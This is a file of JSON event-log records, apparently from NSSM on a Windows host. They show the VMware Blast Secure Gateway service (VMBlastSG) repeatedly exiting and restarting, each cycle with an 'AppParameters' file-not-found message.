{"@timestamp":1646774367546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163230}}
{"@timestamp":1646774367547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163231}}
{"@timestamp":1646774496070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163232}}
{"@timestamp":1646774496071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163233}}
{"@timestamp":1646774496072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160000","0"]}}},"module":"Application","provider":"nssm","sequence":163234}}
{"@timestamp":1646774496073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160000","160000","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163235}}
{"@timestamp":1646774496089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163236}}
{"@timestamp":1646774496090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163237}}
{"@timestamp":1646774496090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163238}}
{"@timestamp":1646774496093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163239}}
{"@timestamp":1646774624693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163240}}
{"@timestamp":1646774624695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163241}}
{"@timestamp":1646774624696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158132","0"]}}},"module":"Application","provider":"nssm","sequence":163242}}
{"@timestamp":1646774624697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158132","158132","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163243}}
{"@timestamp":1646774624717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163244}}
{"@timestamp":1646774624718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163245}}
{"@timestamp":1646774624718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163246}}
{"@timestamp":1646774624719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163247}}
{"@timestamp":1646774753259,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163248}}
{"@timestamp":1646774753260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163249}}
{"@timestamp":1646774753262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160300","0"]}}},"module":"Application","provider":"nssm","sequence":163250}}
{"@timestamp":1646774753269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160300","160300","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163251}}
{"@timestamp":1646774753292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163252}}
{"@timestamp":1646774753294,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163253}}
{"@timestamp":1646774753295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163254}}
{"@timestamp":1646774753297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163255}}
{"@timestamp":1646774881792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163256}}
{"@timestamp":1646774881794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163257}}
{"@timestamp":1646774881796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160340","0"]}}},"module":"Application","provider":"nssm","sequence":163258}}
{"@timestamp":1646774881796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160340","160340","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163259}}
{"@timestamp":1646774881816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163260}}
{"@timestamp":1646774881816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163261}}
{"@timestamp":1646774881817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163262}}
{"@timestamp":1646774881818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163263}}
{"@timestamp":1646775010311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163264}}
{"@timestamp":1646775010314,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163265}}
{"@timestamp":1646775010314,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160504","0"]}}},"module":"Application","provider":"nssm","sequence":163266}}
{"@timestamp":1646775010315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160504","160504","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163267}}
{"@timestamp":1646775010331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163268}}
{"@timestamp":1646775010332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163269}}
{"@timestamp":1646775010332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163270}}
{"@timestamp":1646775010333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163271}}
{"@timestamp":1646775138851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163272}}
{"@timestamp":1646775138852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163273}}
{"@timestamp":1646775138853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159396","0"]}}},"module":"Application","provider":"nssm","sequence":163274}}
{"@timestamp":1646775138853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159396","159396","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163275}}
{"@timestamp":1646775138871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163276}}
{"@timestamp":1646775138871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163277}}
{"@timestamp":1646775138872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163278}}
{"@timestamp":1646775138873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163279}}
{"@timestamp":1646775267354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163280}}
{"@timestamp":1646775267356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163281}}
{"@timestamp":1646775267357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160760","0"]}}},"module":"Application","provider":"nssm","sequence":163282}}
{"@timestamp":1646775267357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160760","160760","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163283}}
{"@timestamp":1646775267375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163284}}
{"@timestamp":1646775267376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163285}}
{"@timestamp":1646775267376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163286}}
{"@timestamp":1646775267377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163287}}
{"@timestamp":1646775395860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163288}}
{"@timestamp":1646775395861,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163289}}
{"@timestamp":1646775395862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160088","0"]}}},"module":"Application","provider":"nssm","sequence":163290}}
{"@timestamp":1646775395863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160088","160088","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163291}}
{"@timestamp":1646775395879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163292}}
{"@timestamp":1646775395880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163293}}
{"@timestamp":1646775395880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163294}}
{"@timestamp":1646775395881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163295}}
{"@timestamp":1646775524437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163296}}
{"@timestamp":1646775524440,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163297}}
{"@timestamp":1646775524441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158648","0"]}}},"module":"Application","provider":"nssm","sequence":163298}}
{"@timestamp":1646775524442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158648","158648","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163299}}
{"@timestamp":1646775524462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163300}}
{"@timestamp":1646775524462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163301}}
{"@timestamp":1646775524463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163302}}
{"@timestamp":1646775524464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163303}}
{"@timestamp":1646775652951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163304}}
{"@timestamp":1646775652954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163305}}
{"@timestamp":1646775652954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154728","0"]}}},"module":"Application","provider":"nssm","sequence":163306}}
{"@timestamp":1646775652955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154728","154728","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163307}}
{"@timestamp":1646775652971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163308}}
{"@timestamp":1646775652972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163309}}
{"@timestamp":1646775652972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163310}}
{"@timestamp":1646775652973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163311}}
{"@timestamp":1646775781468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163312}}
{"@timestamp":1646775781471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163313}}
{"@timestamp":1646775781472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159828","0"]}}},"module":"Application","provider":"nssm","sequence":163314}}
{"@timestamp":1646775781472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159828","159828","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163315}}
{"@timestamp":1646775781491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163316}}
{"@timestamp":1646775781491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163317}}
{"@timestamp":1646775781492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163318}}
{"@timestamp":1646775781493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163319}}
{"@timestamp":1646775909985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163320}}
{"@timestamp":1646775909986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163321}}
{"@timestamp":1646775909987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160540","0"]}}},"module":"Application","provider":"nssm","sequence":163322}}
{"@timestamp":1646775909987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160540","160540","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163323}}
{"@timestamp":1646775910004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163324}}
{"@timestamp":1646775910005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163325}}
{"@timestamp":1646775910005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163326}}
{"@timestamp":1646775910006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163327}}
{"@timestamp":1646776038886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163328}}
{"@timestamp":1646776038887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163329}}
{"@timestamp":1646776038888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158384","0"]}}},"module":"Application","provider":"nssm","sequence":163330}}
{"@timestamp":1646776038888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158384","158384","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163331}}
{"@timestamp":1646776038908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163332}}
{"@timestamp":1646776038909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163333}}
{"@timestamp":1646776038910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163334}}
